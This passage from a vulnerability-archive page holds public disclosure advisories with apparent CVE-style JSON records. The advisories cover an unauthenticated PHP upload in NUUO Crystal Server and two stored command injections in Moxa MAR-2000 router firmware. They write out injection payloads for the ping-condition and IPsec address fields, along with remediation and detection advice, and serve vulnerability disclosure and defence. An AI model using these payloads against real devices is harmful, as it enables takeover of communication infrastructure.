name server-side from an allow-listed extension set and\ncanonicalising the resolved destination against an intended storage root;\nstore uploads outside the served tree in a non-executable quarantine\ndirectory with randomized names; move authentication from the file level to\nthe server or framework level so one forgotten include cannot reopen an\nanonymous handler, and while that migration is pending mechanically audit\nevery handler in the web root for the missing-include pattern, which in\nthis product is a grep-sized task; add a shipped-image manifest of the\ndocument root reconciled at boot or on a schedule, a day-scale engineering\neffort for an appliance that detects this class of implant; and add\nregression tests expressing the three omissions as assertions: an\nunauthenticated upload with a .php destination rejected, a session-less\nwrite to any handler rejected, and the stored destination differing from\nthe client-supplied name. For operators until a patch ships: restrict\nmanagement reachability to a segmented network, run file-integrity\nmonitoring on the document root, and treat unexpected served-content\nchanges as a standing signal.\n\nThe published proof of concept is Python 3 using only the standard library.\nIt performs one credential-less multipart POST carrying the probe file with\na chosen destination name and one fetch of that name, printing the\nresponse; the success criterion is an execution marker in the fetched body,\nso a servable-but-not-executing write cannot false-positive. A control mode\nperforms no upload and asserts nothing executes, mirroring the negative\ncontrol used during verification. The command the probe runs is supplied by\nthe operator and the published default is a non-destructive identity query.\nNo reverse shell, no callback channel, no persistence installer and no\ndestructive command is provided or was run.\n\nFull technical analysis and the reproducible proof of concept, published\nunconditionally:\n https://0day-rubbish.com/blog/nuuo-crystal-server-unauth-upload-php-webroot-write-rce\n\nPoC location in the public repository:\nproduct/nuuo/crystal-server-3.19.0.85/unauth-upload-php-webroot-write-rce/exploit/nuuo_crystal_server_unauth_upload_php_webroot_write_rce.py\n\nProject archive (ongoing disclosure series):\n https://github.com/Exploit-Garbage/0day-Rubbish\n\nThe vendor publishes no RFC 9116 security.txt: the well-known path returns\nthe site\u0027s own 404 on the www host and on the apex, as does the\nnon-well-known fallback path, and the vendor\u0027s own page index contains no\nsecurity, vulnerability-reporting or responsible-discl"
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-306",
"description": "CWE-306",
"lang": "en",
"type": "CWE"
},
{
"cweId": "CWE-434",
"description": "CWE-434",
"lang": "en",
"type": "CWE"
},
{
"cweId": "CWE-73",
"description": "CWE-73",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-11-02T07:30:04Z",
"orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"shortName": "VULNARCHIVE"
},
"references": [
{
"tags": [
"technical-description",
"exploit"
],
"url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Oct/56"
},
{
"tags": [
"technical-description"
],
"url": "https://seclists.org/fulldisclosure/2026/Oct/56"
},
{
"url": "https://0day-rubbish.com"
},
{
"url": "https://0day-rubbish.com/blog/nuuo-crystal-server-unauth-upload-php-webroot-write-rce"
},
{
"url": "https://github.com/Exploit-Garbage/0day-Rubbish"
},
{
"url": "https://nmap.org/mailman/listinfo/fulldisclosure"
},
{
"url": "https://seclists.org/fulldisclosure/"
}
],
"source": {
"defect": [
"https://seclists.org/fulldisclosure/2026/Oct/56"
],
"discovery": "EXTERNAL"
},
"title": "[0day-rubbish] NUUO Crystal Server 3.19.0.85 unauthenticated upload.php PHP web-root write with fastcgi execution into server-side code execution as the web service account (9.8 Critical)",
"x_gcve": [
{
"recordType": "advisory",
"relationships": [],
"vulnId": "GCVE-1988-2026-0505",
"x_vulnarchive": {
"archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Oct/56",
"automated": true,
"contentSha256": "398d33967e157b5fddc8742b259ee4e769fe2a28ff200670d7b82d9ba4d1cd61",
"evidenceScore": 11,
"messageId": "",
"originalUrl": "https://seclists.org/fulldisclosure/2026/Oct/56",
"policy": "vulnarchive-1",
"sourceFormat": "text/html",
"sourcePublishedAt": "2026-10-27T16:39:30Z"
}
}
]
}
},
"cveMetadata": {
"assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"assignerShortName": "VULNARCHIVE",
"datePublished": "2026-11-02T07:30:04Z",
"dateUpdated": "2026-11-02T07:30:04Z",
"state": "PUBLISHED",
"vulnId": "GCVE-1988-2026-0505"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
GCVE-1988-2026-0504
Vulnerability from gna-1988 – Published: 2026-11-02 07:30 – Updated: 2026-11-02 07:30
VLAI
EPSS
VEX
Title
[0day-rubbish] Moxa MAR-2000 firmware FWR_MAR2000_V1.0_Build_15010909 scenario ping condition command injection through the auto-executing ping thread (7.2)
Summary
0day Rubbish Research Team is publicly disclosing a vulnerability in the Moxa
MAR-2000 series industrial 4G/LTE cellular router, firmware image
FWR_MAR2000_V1.0_Build_15010909, from Moxa Inc. (Taiwan). An authenticated
administrator converts one saved monitoring-condition field into recurring,
product-scheduled arbitrary command execution, because the thread that
implements the scenario ping condition builds its command line from the
condition's stored parameter values and hands them to a shell, and no layer
of the backend inspects what those values hold. The delivery needs no second
request: the product's own scenario watchdog evaluates the condition on its
schedule, which also makes the payload recur on every evaluation cycle until
the condition is deleted. This is one of three independent command injection
findings documented for this product and released together as a set.
Type and root cause. CWE-78, OS command injection, with CWE-20 co-equal, in
the Scenario model at /home/model/scenario/scenario.py inside the ARM
Debian 6.0.8 root filesystem of the firmware, which runs the vendor's MIRF
(Mobile Intelligent Routing Framework) stack: a Node.js Express 4.0
management application on port 80 bound to all interfaces, the express-sanji
middleware bridging REST resources onto a local MQTT broker, and Python 2.6
model scripts that persist configuration and act on it. The scenario
facility is how an operator automates behaviour on a schedule; a condition
of type ping is the canonical connectivity check. A saved ping condition
carries a parameter object with ip (required), interface (defaulting to
eth0) and times (defaulting to 3). When the watchdog reaches the condition
it starts a background thread whose run method assembles
```
cmd = "ping %s -c 1 -w 5 -I %s " % (ip, interface)
subprocess.Popen(cmd, shell=True, stdout=PIPE, stderr=PIPE)
```
The interpolation is textual into a single string handed to /bin/sh, so the
stored bytes are parsed as command syntax, and both stored fields - ip and
interface - sit in operand positions of the same template, giving two
stored fields of one class inside one condition. The values got there
through PUT /api/v1/scenario, where the model's put handler validates only
that the submitted data object exists and is non-empty. No parameter value
is examined at any layer of the stack: not by the Express middleware, not
by the message translation, not on the broker leg, not at storage, and not
when the thread reads the condition back.
Two payload-engineering results are published with the finding because they
were measured, not intuited. The template places the stored ip value before
the -c 1 and -w 5 flags, so the naive semicolon form that works against
several other sinks does not fit here: it splits the line in front of the
count flag, leaves an unbounded ping in the foreground of the evaluating
thread, and in the replication record the marker never appeared before the
thread was torn down. The two verified forms are a command substitution,
which the shell expands during command expansion before the ping binary even
starts and whose expansion result is discarded into the ping operand, and a
newline separator, which leaves the ping its own line with the flags intact
and runs the injected text as a second command line. The failing form is
also a finding in its own right: the same unvalidated field, used with the
naive form, turns the monitoring thread into a blocked thread - a
denial-of-service lever against the product's scenario machinery.
The one-request chain looks like this after login:
```
PUT /api/v1/scenario
{"data": {"condition": [{
"name": "connectivity_check",
"type": "ping",
"parameter": {
"ip": "$(id > <marker>)",
"interface": "eth0",
"times": 3
}}]}}
-> stored verbatim (the put handler checks only that data exists,
is non-empty); the watchdog's next evaluation starts the thread
-> cmd = "ping $(id > <marker>) -c 1 -w 5 -I eth0 "
-> the shell expands the substitution before ping execs; the
marker carries the proof, ping then exits quickly, and the
condition re-evaluates on the next cycle
```
Authentication and reach. The validateUser middleware is the only
authentication check on the REST surface: it requires a server-side session
for every non-GET method, and login is POST /api/login compared against
bcrypt-hashed entries in the SQLite user table. The PUT that stores the
payload requires the session; past that check there is no second
authorisation layer, the broker leg carries no identity, and the model
implements no permission judgement, so the product's single documented
role, the device administrator, is the whole security boundary. The
listener binds all interfaces on port 80 in the shipped firmware; no WAN
exposure is assumed anywhere in the published rating.
Severity. The published score is 7.2 High,
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H, from ISS = 0.914816, impact
5.873119, exploitability 1.234708 and base 7.107826 rounded up to 7.2,
Privileges Required High being the product's single administrator role. A
labelled conditional and never the headline: where a deployment still runs
the factory default administrator pair carried by the shipped firmware's
SQLite user table, the prerequisite collapses and the chain reads 9.8
Critical on the PR:N vector (exploitability 3.887043, base 9.760161); a
changed credential removes it, and the default pair is disclosed as a
separate weakness, never folded into the published vector. A PR:L reading
of 8.8 High is published only as the arithmetic of the rejected variant.
The score provenance is disclosed in public: the research record behind
this advisory carried 8.8 for all three same-product findings, that figure
is the arithmetic of a PR:L vector, no artefact shows a lower-privileged
product role, and every published number was recomputed from its own
vector - which lowered the researchers' own figure by 1.6 points. A
Scope-Changed reading computes to 9.1 and is deliberately not published,
because the model process belongs to the same single-purpose appliance
authority, and running scheduled monitoring through the management plane
is the product's design rather than an escape.
Verification method, and its boundary. Two evidence classes carry the
finding, kept separate in the published advisory. The firmware's own
application sources establish the scenario write path, the write handler's
validation scope and the thread construction, read from the shipped files.
The dynamic layer is a sink-level replication on an isolated cloud Linux
sandbox: the exact template with the same shell=True launch and both pipes
captured, executed under the substitution form, the newline form, the naive
semicolon form and a benign control. Both verified forms produced a marker
file containing uid=0(root); the naive form produced no marker in the tested
window, for the unbounded-ping reason described above; the control ran a
normal bounded ping and produced nothing. The boundary is stated plainly:
end-to-end detonation against powered-on hardware, including the
watchdog's exact evaluation interval, is outside this research record, and
the on-device model process identity was neither measured nor claimed -
uid=0(root) is the replication sandbox's identity and nothing broader
rests on it.
Impact. Recurring arbitrary command execution as the identity of the
Python model process, begun by one authenticated configuration write and
delivered by the product's own periodic evaluation. The execution is not a
one-shot and needs no persistence work: the saved condition re-evaluates on
every cycle until deleted, and the payload survives reboots because it is
stored configuration, so deleting the malicious condition is the only
ordinary remediation short of a patch. The compromise yields the router's
complete configuration, control of the monitoring-as-automation features on
a device deployed as communication infrastructure, and availability at
will. Detection is structurally quiet - the executing process is the
product's own monitoring thread - so the readable signals are
content-level: a saved ping condition whose ip or interface contains a
dollar-parenthesis, semicolon, pipe, backtick or newline; ping processes
running with no count flag; unexpected child processes under the model
daemon. The web stack's separate property of answering unauthenticated GET
requests across the API surface - which lets an intruder enumerate saved
scenarios, including a poisoned one, without a login - is a read-exposure
issue reported on its own and is not part of this chain.
Remediation: run the connectivity check without a shell, as an argument
vector or library call, which removes the metacharacter question from the
thread entirely and eliminates the unbounded-ping failure mode; validate
condition parameters at the model's write boundary where they are stored -
address form for ip, interface selector form for interface, bounded numeric
for times; reject failing conditions rather than storing them for the
watchdog; give the evaluation machinery a failure budget, reaping threads
that outlive it and logging evaluations that produce unexpected process
trees; and treat the recurring property as a design rule: any value a
scheduled reaction will eventually consume must be validated at store
time, because the schedule converts a stored input into an automatically
repeated one. Operators until a patch exists: change the factory default
administrator credential at commissioning, keep the management listener
off WAN-facing addresses, sweep saved scenarios for ping conditions with
metacharacter-bearing parameters, and disable the scenario feature where
scheduled monitoring is not used.
Proof of concept. The published tool is a standard-library-only Python 3
client that drives the entry path: it logs in, reads the current scenario
configuration, saves a ping condition whose parameter.ip carries the
substitution-form payload, and reports what the condition will do on the
next evaluation. It takes target, credential, command and timeout
arguments; the default target is loopback; it verifies each response and
exits non-zero with an explicit message on failure. It deliberately does
not attempt to compute or drive the watchdog's interval. No persistence,
reverse shell or destructive step; the default command writes one marker
file. Use it only against systems you own or are authorised to test.
The vendor's product security team mailbox, published on the vendor's own
security advisories page, was used for the unconditional notification; no
report form was submitted and no individual was addressed by name. This
disclosure is unconditional: the research is published, no permission was
asked for, no embargo was requested, nothing is withheld pending a reply,
and remediation questions are answered at no cost. No vulnerability
identifier has been assigned to this finding.
Two companion advisories for the same product are published alongside this
one, independent findings that share only the entry architecture - a
different model file, REST resource, configuration field and sink each: an
Executer program-activation injection through the stored argument field of
a shell-interpreted program launch, and an IPsec tunnel address injection
through the route-management shell commands, both at the second and third
URLs below.
Full technical analysis and the reproducible proof of concept, published
unconditionally:
https://0day-rubbish.com/blog/mar-2000-scenario-ping-command-injection
Companion advisories for the same product, independent findings:
https://0day-rubbish.com/blog/mar-2000-executer-program-argument-command-injection
https://0day-rubbish.com/blog/mar-2000-network-ipsec-command-injection
Project archive (ongoing disclosure series):
https://github.com/Exploit-Garbage/0day-Rubbish
--
0day Rubbish Research Team
disclosure () 0day-rubbish com
https://0day-rubbish.com
________________
Severity
No CVSS data available.
Assigner
References
9 references
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| Moxa | MAR-2000 firmware |
Affected:
unknown
|
{
"containers": {
"cna": {
"affected": [
{
"product": "MAR-2000 firmware",
"vendor": "Moxa",
"versions": [
{
"status": "affected",
"version": "unknown"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "disclosure via Fulldisclosure"
}
],
"descriptions": [
{
"lang": "en",
"value": "0day Rubbish Research Team is publicly disclosing a vulnerability in the Moxa\nMAR-2000 series industrial 4G/LTE cellular router, firmware image\nFWR_MAR2000_V1.0_Build_15010909, from Moxa Inc. (Taiwan). An authenticated\nadministrator converts one saved monitoring-condition field into recurring,\nproduct-scheduled arbitrary command execution, because the thread that\nimplements the scenario ping condition builds its command line from the\ncondition\u0027s stored parameter values and hands them to a shell, and no layer\nof the backend inspects what those values hold. The delivery needs no second\nrequest: the product\u0027s own scenario watchdog evaluates the condition on its\nschedule, which also makes the payload recur on every evaluation cycle until\nthe condition is deleted. This is one of three independent command injection\nfindings documented for this product and released together as a set.\n\nType and root cause. CWE-78, OS command injection, with CWE-20 co-equal, in\nthe Scenario model at /home/model/scenario/scenario.py inside the ARM\nDebian 6.0.8 root filesystem of the firmware, which runs the vendor\u0027s MIRF\n(Mobile Intelligent Routing Framework) stack: a Node.js Express 4.0\nmanagement application on port 80 bound to all interfaces, the express-sanji\nmiddleware bridging REST resources onto a local MQTT broker, and Python 2.6\nmodel scripts that persist configuration and act on it. The scenario\nfacility is how an operator automates behaviour on a schedule; a condition\nof type ping is the canonical connectivity check. A saved ping condition\ncarries a parameter object with ip (required), interface (defaulting to\neth0) and times (defaulting to 3). When the watchdog reaches the condition\nit starts a background thread whose run method assembles\n\n```\ncmd = \"ping %s -c 1 -w 5 -I %s \" % (ip, interface)\nsubprocess.Popen(cmd, shell=True, stdout=PIPE, stderr=PIPE)\n```\n\nThe interpolation is textual into a single string handed to /bin/sh, so the\nstored bytes are parsed as command syntax, and both stored fields - ip and\ninterface - sit in operand positions of the same template, giving two\nstored fields of one class inside one condition. The values got there\nthrough PUT /api/v1/scenario, where the model\u0027s put handler validates only\nthat the submitted data object exists and is non-empty. No parameter value\nis examined at any layer of the stack: not by the Express middleware, not\nby the message translation, not on the broker leg, not at storage, and not\nwhen the thread reads the condition back.\n\nTwo payload-engineering results are published with the finding because they\nwere measured, not intuited. The template places the stored ip value before\nthe -c 1 and -w 5 flags, so the naive semicolon form that works against\nseveral other sinks does not fit here: it splits the line in front of the\ncount flag, leaves an unbounded ping in the foreground of the evaluating\nthread, and in the replication record the marker never appeared before the\nthread was torn down. The two verified forms are a command substitution,\nwhich the shell expands during command expansion before the ping binary even\nstarts and whose expansion result is discarded into the ping operand, and a\nnewline separator, which leaves the ping its own line with the flags intact\nand runs the injected text as a second command line. The failing form is\nalso a finding in its own right: the same unvalidated field, used with the\nnaive form, turns the monitoring thread into a blocked thread - a\ndenial-of-service lever against the product\u0027s scenario machinery.\n\nThe one-request chain looks like this after login:\n\n```\nPUT /api/v1/scenario\n{\"data\": {\"condition\": [{\n \"name\": \"connectivity_check\",\n \"type\": \"ping\",\n \"parameter\": {\n \"ip\": \"$(id \u003e \u003cmarker\u003e)\",\n \"interface\": \"eth0\",\n \"times\": 3\n }}]}}\n-\u003e stored verbatim (the put handler checks only that data exists,\n is non-empty); the watchdog\u0027s next evaluation starts the thread\n-\u003e cmd = \"ping $(id \u003e \u003cmarker\u003e) -c 1 -w 5 -I eth0 \"\n-\u003e the shell expands the substitution before ping execs; the\n marker carries the proof, ping then exits quickly, and the\n condition re-evaluates on the next cycle\n```\n\nAuthentication and reach. The validateUser middleware is the only\nauthentication check on the REST surface: it requires a server-side session\nfor every non-GET method, and login is POST /api/login compared against\nbcrypt-hashed entries in the SQLite user table. The PUT that stores the\npayload requires the session; past that check there is no second\nauthorisation layer, the broker leg carries no identity, and the model\nimplements no permission judgement, so the product\u0027s single documented\nrole, the device administrator, is the whole security boundary. The\nlistener binds all interfaces on port 80 in the shipped firmware; no WAN\nexposure is assumed anywhere in the published rating.\n\nSeverity. The published score is 7.2 High,\nCVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H, from ISS = 0.914816, impact\n5.873119, exploitability 1.234708 and base 7.107826 rounded up to 7.2,\nPrivileges Required High being the product\u0027s single administrator role. A\nlabelled conditional and never the headline: where a deployment still runs\nthe factory default administrator pair carried by the shipped firmware\u0027s\nSQLite user table, the prerequisite collapses and the chain reads 9.8\nCritical on the PR:N vector (exploitability 3.887043, base 9.760161); a\nchanged credential removes it, and the default pair is disclosed as a\nseparate weakness, never folded into the published vector. A PR:L reading\nof 8.8 High is published only as the arithmetic of the rejected variant.\nThe score provenance is disclosed in public: the research record behind\nthis advisory carried 8.8 for all three same-product findings, that figure\nis the arithmetic of a PR:L vector, no artefact shows a lower-privileged\nproduct role, and every published number was recomputed from its own\nvector - which lowered the researchers\u0027 own figure by 1.6 points. A\nScope-Changed reading computes to 9.1 and is deliberately not published,\nbecause the model process belongs to the same single-purpose appliance\nauthority, and running scheduled monitoring through the management plane\nis the product\u0027s design rather than an escape.\n\nVerification method, and its boundary. Two evidence classes carry the\nfinding, kept separate in the published advisory. The firmware\u0027s own\napplication sources establish the scenario write path, the write handler\u0027s\nvalidation scope and the thread construction, read from the shipped files.\nThe dynamic layer is a sink-level replication on an isolated cloud Linux\nsandbox: the exact template with the same shell=True launch and both pipes\ncaptured, executed under the substitution form, the newline form, the naive\nsemicolon form and a benign control. Both verified forms produced a marker\nfile containing uid=0(root); the naive form produced no marker in the tested\nwindow, for the unbounded-ping reason described above; the control ran a\nnormal bounded ping and produced nothing. The boundary is stated plainly:\nend-to-end detonation against powered-on hardware, including the\nwatchdog\u0027s exact evaluation interval, is outside this research record, and\nthe on-device model process identity was neither measured nor claimed -\nuid=0(root) is the replication sandbox\u0027s identity and nothing broader\nrests on it.\n\nImpact. Recurring arbitrary command execution as the identity of the\nPython model process, begun by one authenticated configuration write and\ndelivered by the product\u0027s own periodic evaluation. The execution is not a\none-shot and needs no persistence work: the saved condition re-evaluates on\nevery cycle until deleted, and the payload survives reboots because it is\nstored configuration, so deleting the malicious condition is the only\nordinary remediation short of a patch. The compromise yields the router\u0027s\ncomplete configuration, control of the monitoring-as-automation features on\na device deployed as communication infrastructure, and availability at\nwill. Detection is structurally quiet - the executing process is the\nproduct\u0027s own monitoring thread - so the readable signals are\ncontent-level: a saved ping condition whose ip or interface contains a\ndollar-parenthesis, semicolon, pipe, backtick or newline; ping processes\nrunning with no count flag; unexpected child processes under the model\ndaemon. The web stack\u0027s separate property of answering unauthenticated GET\nrequests across the API surface - which lets an intruder enumerate saved\nscenarios, including a poisoned one, without a login - is a read-exposure\nissue reported on its own and is not part of this chain.\n\nRemediation: run the connectivity check without a shell, as an argument\nvector or library call, which removes the metacharacter question from the\nthread entirely and eliminates the unbounded-ping failure mode; validate\ncondition parameters at the model\u0027s write boundary where they are stored -\naddress form for ip, interface selector form for interface, bounded numeric\nfor times; reject failing conditions rather than storing them for the\nwatchdog; give the evaluation machinery a failure budget, reaping threads\nthat outlive it and logging evaluations that produce unexpected process\ntrees; and treat the recurring property as a design rule: any value a\nscheduled reaction will eventually consume must be validated at store\ntime, because the schedule converts a stored input into an automatically\nrepeated one. Operators until a patch exists: change the factory default\nadministrator credential at commissioning, keep the management listener\noff WAN-facing addresses, sweep saved scenarios for ping conditions with\nmetacharacter-bearing parameters, and disable the scenario feature where\nscheduled monitoring is not used.\n\nProof of concept. The published tool is a standard-library-only Python 3\nclient that drives the entry path: it logs in, reads the current scenario\nconfiguration, saves a ping condition whose parameter.ip carries the\nsubstitution-form payload, and reports what the condition will do on the\nnext evaluation. It takes target, credential, command and timeout\narguments; the default target is loopback; it verifies each response and\nexits non-zero with an explicit message on failure. It deliberately does\nnot attempt to compute or drive the watchdog\u0027s interval. No persistence,\nreverse shell or destructive step; the default command writes one marker\nfile. Use it only against systems you own or are authorised to test.\n\nThe vendor\u0027s product security team mailbox, published on the vendor\u0027s own\nsecurity advisories page, was used for the unconditional notification; no\nreport form was submitted and no individual was addressed by name. This\ndisclosure is unconditional: the research is published, no permission was\nasked for, no embargo was requested, nothing is withheld pending a reply,\nand remediation questions are answered at no cost. No vulnerability\nidentifier has been assigned to this finding.\n\nTwo companion advisories for the same product are published alongside this\none, independent findings that share only the entry architecture - a\ndifferent model file, REST resource, configuration field and sink each: an\nExecuter program-activation injection through the stored argument field of\na shell-interpreted program launch, and an IPsec tunnel address injection\nthrough the route-management shell commands, both at the second and third\nURLs below.\n\nFull technical analysis and the reproducible proof of concept, published\nunconditionally:\n https://0day-rubbish.com/blog/mar-2000-scenario-ping-command-injection\n\nCompanion advisories for the same product, independent findings:\n https://0day-rubbish.com/blog/mar-2000-executer-program-argument-command-injection\n https://0day-rubbish.com/blog/mar-2000-network-ipsec-command-injection\n\nProject archive (ongoing disclosure series):\n https://github.com/Exploit-Garbage/0day-Rubbish\n\n--\n0day Rubbish Research Team\ndisclosure () 0day-rubbish com\nhttps://0day-rubbish.com\n________________"
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-20",
"description": "CWE-20",
"lang": "en",
"type": "CWE"
},
{
"cweId": "CWE-78",
"description": "CWE-78",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-11-02T07:30:04Z",
"orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"shortName": "VULNARCHIVE"
},
"references": [
{
"tags": [
"technical-description",
"exploit"
],
"url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Oct/55"
},
{
"tags": [
"technical-description"
],
"url": "https://seclists.org/fulldisclosure/2026/Oct/55"
},
{
"url": "https://0day-rubbish.com"
},
{
"url": "https://0day-rubbish.com/blog/mar-2000-executer-program-argument-command-injection"
},
{
"url": "https://0day-rubbish.com/blog/mar-2000-network-ipsec-command-injection"
},
{
"url": "https://0day-rubbish.com/blog/mar-2000-scenario-ping-command-injection"
},
{
"url": "https://github.com/Exploit-Garbage/0day-Rubbish"
},
{
"url": "https://nmap.org/mailman/listinfo/fulldisclosure"
},
{
"url": "https://seclists.org/fulldisclosure/"
}
],
"source": {
"defect": [
"https://seclists.org/fulldisclosure/2026/Oct/55"
],
"discovery": "EXTERNAL"
},
"title": "[0day-rubbish] Moxa MAR-2000 firmware FWR_MAR2000_V1.0_Build_15010909 scenario ping condition command injection through the auto-executing ping thread (7.2)",
"x_gcve": [
{
"recordType": "advisory",
"relationships": [],
"vulnId": "GCVE-1988-2026-0504",
"x_vulnarchive": {
"archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Oct/55",
"automated": true,
"contentSha256": "bd54cb1f0a8d0dd62a3289db8dbbbe1fa1b09ce63a65c32cabfb1d0b13740ba0",
"evidenceScore": 11,
"messageId": "",
"originalUrl": "https://seclists.org/fulldisclosure/2026/Oct/55",
"policy": "vulnarchive-1",
"sourceFormat": "text/html",
"sourcePublishedAt": "2026-10-27T16:39:17Z"
}
}
]
}
},
"cveMetadata": {
"assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"assignerShortName": "VULNARCHIVE",
"datePublished": "2026-11-02T07:30:04Z",
"dateUpdated": "2026-11-02T07:30:04Z",
"state": "PUBLISHED",
"vulnId": "GCVE-1988-2026-0504"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
GCVE-1988-2026-0503
Vulnerability from gna-1988 – Published: 2026-11-02 07:30 – Updated: 2026-11-02 07:30
VLAI
EPSS
VEX
Title
[0day-rubbish] Moxa MAR-2000 firmware FWR_MAR2000_V1.0_Build_15010909 IPsec tunnel address command injection through the route-management shell commands (7.2)
Summary
0day Rubbish Research Team is publicly disclosing a vulnerability in the Moxa
MAR-2000 series industrial 4G/LTE cellular router, firmware image
FWR_MAR2000_V1.0_Build_15010909, from Moxa Inc. (Taiwan). An authenticated
administrator converts one stored VPN address field into arbitrary command
execution as the identity of the product's model process, because the IPsec
model manages the tunnel's addresses and routes by interpolating stored,
never-validated configuration values into shell command lines. The payload
is committed by one request and executes at a lifecycle moment the product
performs on its own. This is one of three independent command injection
findings documented for this product and released together as a set.
Type and root cause. CWE-78, OS command injection, with CWE-20 co-equal, in
the IPsec model at /home/model/network/ipsec/ipsec.py inside the ARM
Debian 6.0.8 root filesystem of the firmware, which runs the vendor's MIRF
(Mobile Intelligent Routing Framework) stack: a Node.js Express 4.0
management application on port 80 bound to all interfaces, the express-sanji
middleware bridging REST resources onto a local MQTT broker, and Python 2.6
model scripts that persist configuration and act on it. The model stores
tunnelModeTable - whose keys include localVpnIp, tunnelRemoteVpnIp and
tunnelRemoteVpnInterface - together with transModeTable, as JSON
configuration written through the authenticated PUT /api/v1/network/ipsec
resource. When the IPsec service applies the tunnel, the model calls its
lifecycle functions, and every one of the four interpolates the stored
fields into an ip command line and hands it to
subprocess.call(cmd, shell=True):
```
add_ip: cmd = 'ip addr add %s dev eth%s' % (localVpnIp + '/'
+ <computed subnet part>, tunnelRemoteVpnInterface)
del_ip: 'ip addr del %s dev eth%s' with the same stored fields
add_route: cmd = 'ip route add to %s via %s src %s' % (ipRange,
localVpnIp, localVpnIp)
del_route: cmd = 'ip route del %s' % ipRange
```
The stored value sits at the front of the command line, ahead of every
literal token the product contributes, so a semicolon inside the value ends
the ip operation before any product token can interfere with the injected
statement. One stored localVpnIp arms several commands at once: it is the
operand of add_ip and del_ip and both the via and src operands of
add_route, so whichever lifecycle function a tunnel apply reaches first
carries the payload. The write side applies exactly one filter,
clean_data(), whose entire behaviour is to delete dictionary keys the model
does not recognise: no value is inspected, an address format is never
checked, and the payload rides a key the whitelist expects, so the filter
is not even encountered as an obstacle. An administrator who stores
"10.10.10.1; <command>; #" in that field has authored
```
ip addr add 10.10.10.1; <command>; #/24 dev eth0
```
- the ip segment fails harmlessly as an address operation, the injected
statement executes under the shell, and the hash sign comments away the
template tail. A fifth related construction sits in the same model:
update_config_file() assembles IPsec configuration lines interpolating
transModeTable's transServerIp and transClientIp into the stored
configuration file - the same unvalidated-field pattern, not exercised in
this research record, reported as structure rather than as a detonated
sink.
Authentication and reach. The validateUser middleware is the only
authentication check on the REST surface: it requires a server-side session
for every non-GET method, and login is POST /api/login compared against
bcrypt-hashed entries in the SQLite user table. The PUT that plants the
payload requires the session; past that check there is no second
authorisation layer, the broker leg carries no identity, and the model
implements no permission judgement, so the product's single documented
role, the device administrator, is the whole security boundary. The
listener binds all interfaces on port 80 in the shipped firmware; no WAN
exposure is assumed anywhere in the published rating.
Severity. The published score is 7.2 High,
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H, from ISS = 0.914816, impact
5.873119, exploitability 1.234708 and base 7.107826 rounded up to 7.2,
Privileges Required High being the product's single administrator role. A
labelled conditional and never the headline: where a deployment still runs
the factory default administrator pair carried by the shipped firmware's
SQLite user table, the prerequisite collapses and the chain reads 9.8
Critical on the PR:N vector (exploitability 3.887043, base 9.760161); a
changed credential removes it, and the default pair is disclosed as a
separate weakness, never folded into the published vector. A PR:L reading
of 8.8 High is published only as the arithmetic of the rejected variant.
The score provenance is disclosed in public: the research record behind
this advisory carried 8.8 for all three same-product findings, that figure
is the arithmetic of a PR:L vector, no artefact shows a lower-privileged
product role, and every published number was recomputed from its own
vector - which lowered the researchers' own figure by 1.6 points. A
Scope-Changed reading computes to 9.1 and is deliberately not published,
because the model process belongs to the same single-purpose appliance
authority, and managing the appliance's interfaces and routes through its
management plane is the product's design rather than an escape.
Verification method, and its boundary. Two evidence classes carry the
finding, kept separate in the published advisory. The firmware's own
application sources establish the configuration write, the key-only
validation, and the four command constructions, read from the shipped
files. The dynamic layer is a sink-level replication on an isolated cloud
Linux sandbox: each of the four constructions, with the same template, the
same field position and the same shell=True hand-off, was executed with an
injected address value and separately with a benign control. All four
produced a marker file containing uid=0(root) under the payload; the
control produced no marker and no side effect of any kind. The boundary is
stated plainly: end-to-end detonation against powered-on hardware,
including the exact tunnel-apply moment at which the stored value is
consumed, is outside this research record, and the on-device model process
identity was neither measured nor claimed - uid=0(root) is the replication
sandbox's identity and nothing broader rests on it.
Impact. Arbitrary command execution as the identity of the Python model
process, begun by one authenticated configuration write and delivered by a
lifecycle step the product performs on its own, with no race and no
protocol manipulation anywhere in the chain. The payload is stored
configuration: it persists across reboots, is read fresh at each tunnel
application, and the same single field reaches several sinks at once. The
executing process is the device's own model daemon performing a
routine-sounding job, so detection signals are content-level: tunnel-table
values whose address operand contains a semicolon, pipe,
dollar-parenthesis, backtick or newline; unexplained child processes under
the model daemon; ip command failures whose operand text contains shell
metacharacters - and a legitimate address never contains any of them.
Reaching the route-management sinks also means owning the device's
forwarding state, on a device deployed as communication infrastructure. The
web stack's separate property of answering unauthenticated GET requests
across the API surface - which lets an intruder enumerate stored tunnel
settings - is a read-exposure issue reported on its own and is not part of
this chain.
Remediation: manage addresses and routes without a shell, building each ip
operation as an argument vector launched without /bin/sh, which removes the
metacharacter question for all four constructions at once; validate every
address-shaped field at the model's write boundary so the component that
interpolates the value rejects non-addresses, not only a web form the
backend cannot assume is the only writer; turn clean_data() into a value
validator at that natural choke point; treat the configuration-file
assembly under the same rule; and add a regression test that stores a
metacharacter-bearing localVpnIp, drives a tunnel apply, and asserts
rejection at write time or execution without shell interpretation.
Operators until a patch exists: change the factory default administrator
credential at commissioning, keep the management listener off WAN-facing
addresses, audit stored IPsec tunnel tables for shell metacharacters, and
